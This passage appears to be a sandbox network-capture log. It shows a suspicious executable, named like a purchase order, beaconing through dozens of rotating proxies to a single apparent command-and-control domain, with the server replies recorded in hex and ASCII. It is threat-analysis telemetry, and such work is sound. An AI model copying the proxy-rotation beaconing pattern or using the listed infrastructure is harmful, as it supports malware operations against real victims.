Mar 11, 2024 16:40:01.919214964 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.10	51837	212.31.100.138	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.614830017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.10	51992	159.65.77.168	8585	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.616730928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.10	51733	117.160.250.130	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.617975950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.106096983 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.10	52041	104.25.194.175	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.626490116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.781155109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.10	51869	103.199.18.248	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.626565933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.969804049 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.10	51973	72.195.34.60	27391	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.626735926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.10	51986	72.210.252.137	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.626920938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.10	51886	91.202.230.219	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.629348040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.10	51865	154.65.39.8	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.631042004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.410820007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.559089899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.707968950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.004832029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411138058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.707859039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.301364899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.410660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:31.571918011 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:20 GMT Server: Apache/2.4.38 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 16:40:31.571938038 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.10	51264	72.195.114.169	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.631115913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.10	51953	212.118.43.143	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.632285118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.945276976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.10	51894	8.213.128.90	4506	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.632631063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.490734100 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.10	51247	148.72.215.79	63212	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.632720947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.676557064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.677211046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.676750898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.786030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.785631895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:34.785695076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.10	51867	8.213.128.90	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.633548975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.410835028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.493069887 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.10	52074	104.27.8.161	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.634881020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.789300919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.10	52198	218.145.131.182	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.638423920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.10	51928	27.0.234.206	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.638968945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.10	51969	217.23.11.194	32708	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.647249937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.943931103 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.10	51303	72.195.34.35	27360	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.647346973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.10	51920	91.148.127.162	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.647398949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.10	51921	38.54.16.97	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.647435904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.357512951 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.10	52100	172.67.182.22	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.647955894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.802571058 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.10	51979	93.190.142.57	41890	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.648590088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
